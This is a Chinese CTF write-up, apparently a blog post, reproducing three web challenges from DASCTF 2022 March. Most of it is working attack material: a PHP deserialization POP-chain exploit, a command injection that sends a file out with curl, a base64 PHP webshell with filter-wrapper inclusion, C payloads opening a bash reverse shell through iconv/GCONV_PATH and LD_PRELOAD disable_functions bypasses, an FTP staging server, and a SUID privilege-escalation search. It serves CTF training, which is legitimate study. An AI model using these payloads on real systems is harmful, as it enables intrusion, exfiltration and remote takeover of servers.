[DASCTF 2022]三月赛 web 复现

ezpop

 <?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

前置:

__call(),在对象中调用一个不可访问方法时调用
__toString,类被当成字符串使用
__invoke(),调用函数的方式调用一个对象时的回应方法

审计代码,简单构造一下链子:

fin::__destruct
↓↓↓
what::__toString
↓↓↓
mix::run
↓↓↓
crow::__invoke
↓↓↓
fin::__call
↓↓↓
mix::get_flag

POC:

<?php
class crow
{
    public $v1;
    public $v2;

    public function __construct($v1)
    {
        $this->v1 = $v1;
    }
}

class fin
{
    public $f1;

    public function __construct($f1)
    {
        $this->f1 = $f1;
    }
}

class what
{
    public $a;

    public function __construct($a)
    {
        $this->a = $a;
    }
}
class mix
{
    public $m1;

    public function __construct($m1)
    {
        $this->m1 = $m1;
    }

}

$f = new mix("\nsystem('cat *');");  //反序列化之后手动将字符数+1
$e = new fin($f);
$d = new crow($e);
$c = new mix($d);
$b = new what($c);
$a = new fin($b);
echo urlencode(serialize($a));

image-20220328225727946

calc

题目给了源码

#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time


app=Flask(__name__)

def waf(s):
    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag= False
            print(no)
            break
    return flag
    

@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")

@app.route("/calc",methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
    
    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"



    

if __name__ == "__main__":
    app.run(host='0.0.0.0',port=5000) 

题目有两个切入点

data = eval(num)		#执行python code
os.system(log)			#执行系统命令

waf过滤了一堆,eval很难利用,我们看看os.system(log),log参数可以控制{2}部分,由于在linux中,反引号可以执行命令,也就是:

`ls`

这种情况下eval函数会报错,我们可以利用python注释符注释掉#后的东西

1#`ls`

最终利用 curl 把 tmp/log.txt 中的内容外带出来即可

命令:123%23`cat%09/T*`%23
外带数据:123%23`curl%09-F%09xx=@tmp/log.txt%09http://ip:port/`%23

image-20220328233737547

upgdstore

文件上传,fuzz一下,有waf但可以上传php文件

先读一下phpinfo

image-20220329130739474

过滤了很多函数,有一些show_sourceputenvmail等没有过滤

我们可以使用show_source读取index.php文件,waf有过滤,配合base64编码绕过

<?php base64_decode("c2hvd19zb3VyY2U=")("../index.php") ;?>

得到:

<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    嘿伙计,传个火?!
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }

    
    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
    die("诶,被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

检测函数 strstr() 对大小写敏感,可以用大小写进行绕过。由于有WAF,我们可以先上传base64编码后的一句话木马,再利用include+伪协议包含getshell

1 上传一句话木马
PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8+
2 伪协议包含
<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0yNWE0NTI5MjcxMTBlMzlhMzQ1YTI1MTFjNTc2NDdmMi5waHA="));?>

image-20220329181922486

之后考虑绕过disable_functions,利用php iconv:

准备exp.c文件

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
}

编译:

gcc exp.c -o exp.so -shared -fPIC

gconv-modules

module  EXP//    INTERNAL    ../../../../../../../../tmp/exp    2
module  INTERNAL   EXP//    ../../../../../../../../tmp/exp    2

由于很多文件上传函数被过滤,我们可以利用python搭建一个ftp服务器传文件

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer


authorizer = DummyAuthorizer()

authorizer.add_anonymous("./")

handler = FTPHandler
handler.authorizer = authorizer

handler.masquerade_address = "ip"
# 注意要用被动模式
handler.passive_ports = range(9998,10000)

server = FTPServer(("0.0.0.0", 23), handler)
server.serve_forever()

下载文件

$local_file = '/tmp/exp.so';
$server_file = 'exp.so';
$ftp_server = 'xxxxx';
$ftp_port=23;

$ftp = ftp_connect($ftp_server,$ftp_port);


$login_result = ftp_login($ftp, 'anonymous', '');

ftp_pasv($ftp,1);

if (ftp_get($ftp, $local_file, $server_file, FTP_BINARY)) {
    echo "Successfully written to $local_file\n";
} else {
    echo "There was a problem\n";
}

ftp_close($ftp);

image-20220329192107957

上传成功后反弹shell

putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');

image-20220329192930013

反弹成功后发现没有权限读flag,suid提权

find / -user root -perm -4000 -print 2>/dev/null

发现nl命令具有高权限,nl输出即可

image-20220329193040433

补充:

  1. 构造exp还可以劫持getuid,配合mail进行bypass
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
    	return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}
  1. 上传exp的时候还可以利用题目本身的move_uploaded_file

参考:

http://rayi.vip/2022/03/26/2022DAS%E4%B8%89%E6%9C%88/

https://erroratao.github.io/writeup/DASCTF2022xSU/

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值